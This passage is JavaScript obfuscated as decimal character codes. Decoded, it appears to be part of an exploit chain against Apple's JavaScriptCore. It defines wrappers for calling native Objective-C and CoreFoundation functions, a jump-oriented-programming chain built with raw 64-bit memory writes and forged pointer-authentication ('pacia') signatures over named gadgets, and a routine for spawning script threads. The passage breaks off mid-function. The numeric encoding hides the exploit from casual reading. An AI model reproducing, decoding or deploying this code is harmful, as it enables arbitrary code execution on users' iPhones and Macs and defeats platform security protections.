108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 82, 69, 76, 69, 65, 83, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 104, 111, 119, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 72, 79, 87, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 67, 79, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 40, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 44, 32, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 40, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 95, 73, 78, 73, 84, 44, 32, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 99, 108, 97, 115, 115, 95, 110, 97, 109, 101, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 71, 69, 84, 67, 76, 65, 83, 83, 44, 32, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 99, 108, 97, 115, 115, 95, 110, 97, 109, 101, 41, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 77, 83, 71, 83, 69, 78, 68, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 99, 115, 116, 114, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 69, 76, 95, 82, 69, 71, 73, 83, 84, 69, 82, 78, 65, 77, 69, 44, 32, 99, 115, 116, 114, 41, 59, 32, 125, 10, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 58, 115, 101, 108, 101, 99, 116, 111, 114, 58, 111, 98, 106, 101, 99, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 107, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 118, 111, 107, 101, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 108, 101, 97, 115, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 101, 108, 101, 97, 115, 101, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 58, 97, 116, 73, 110, 100, 101, 120, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 116, 97, 114, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 115, 116, 97, 114, 116, 34, 41, 41, 59, 10, 10, 108, 101, 116, 32, 105, 110, 118, 111, 107, 101, 95, 99, 108, 97, 115, 115, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 78, 83, 73, 110, 118, 111, 99, 97, 116, 105, 111, 110, 34, 41, 59, 10, 108, 101, 116, 32, 106, 115, 99, 95, 99, 108, 97, 115, 115, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 74, 83, 67, 111, 110, 116, 101, 120, 116, 34, 41, 59, 10, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 99, 108, 97, 115, 115, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 78, 83, 84, 104, 114, 101, 97, 100, 34, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 99, 115, 116, 114, 105, 110, 103, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 107, 67, 70, 83, 116, 114, 105, 110, 103, 69, 110, 99, 111, 100, 105, 110, 103, 85, 84, 70, 56, 41, 59, 10, 125, 10, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 98, 111, 120, 101, 100, 95, 97, 114, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 98, 111, 120, 101, 100, 95, 97, 114, 114, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 105, 115, 78, 97, 78, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 115, 78, 97, 78, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 119, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 34, 41, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 95, 99, 111, 112, 121, 40, 99, 102, 115, 116, 114, 105, 110, 103, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 108, 101, 97, 115, 101, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 111, 98, 106, 44, 32, 99, 102, 115, 116, 114, 95, 107, 101, 121, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 44, 32, 99, 102, 115, 116, 114, 95, 107, 101, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 40, 111, 98, 106, 44, 32, 106, 115, 99, 114, 105, 112, 116, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 44, 32, 106, 115, 99, 114, 105, 112, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 40, 111, 98, 106, 44, 32, 115, 101, 108, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 44, 32, 115, 101, 108, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 40, 111, 98, 106, 44, 32, 115, 105, 103, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 44, 32, 115, 105, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 111, 98, 106, 44, 32, 97, 114, 103, 44, 32, 105, 100, 120, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 44, 32, 97, 114, 103, 44, 32, 105, 100, 120, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 40, 111, 98, 106, 44, 32, 116, 97, 114, 103, 101, 116, 44, 32, 115, 101, 108, 44, 32, 111, 98, 106, 101, 99, 116, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 44, 32, 116, 97, 114, 103, 101, 116, 44, 32, 115, 101, 108, 44, 32, 111, 98, 106, 101, 99, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 116, 97, 114, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 117, 112, 95, 102, 99, 97, 108, 108, 95, 106, 111, 112, 99, 104, 97, 105, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 32, 61, 32, 109, 97, 108, 108, 111, 99, 40, 80, 65, 71, 69, 95, 83, 73, 90, 69, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 61, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 49, 48, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 32, 61, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 50, 48, 48, 110, 59, 10, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 48, 110, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 56, 110, 44, 32, 112, 97, 99, 105, 97, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 44, 32, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 95, 67, 70, 79, 98, 106, 101, 99, 116, 67, 111, 112, 121, 80, 114, 111, 112, 101, 114, 116, 121, 44, 32, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 52, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 106, 115, 118, 109, 95, 105, 115, 78, 65, 78, 95, 102, 99, 97, 108, 108, 95, 103, 97, 100, 103, 101, 116, 50, 44, 32, 48, 110, 41, 41, 59, 10, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 50, 48, 110, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 52, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 50, 56, 110, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 45, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 51, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 48, 120, 52, 49, 52, 49, 52, 49, 52, 49, 110, 44, 32, 48, 120, 67, 50, 68, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 53, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 102, 99, 97, 108, 108, 95, 49, 52, 95, 97, 114, 103, 115, 95, 119, 114, 105, 116, 101, 95, 120, 56, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 53, 48, 110, 41, 41, 59, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 32, 58, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 34, 32, 58, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 51, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 34, 32, 58, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 44, 10, 32, 32, 32, 32, 125, 59, 10, 125, 10, 10, 108, 101, 116, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 61, 32, 48, 110, 59, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 95, 115, 112, 97, 119, 110, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 32, 61, 32, 48, 120, 48, 110, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 121, 112, 101, 111, 102, 32, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 61, 61, 61, 32, 34, 115, 116, 114, 105, 110, 103, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 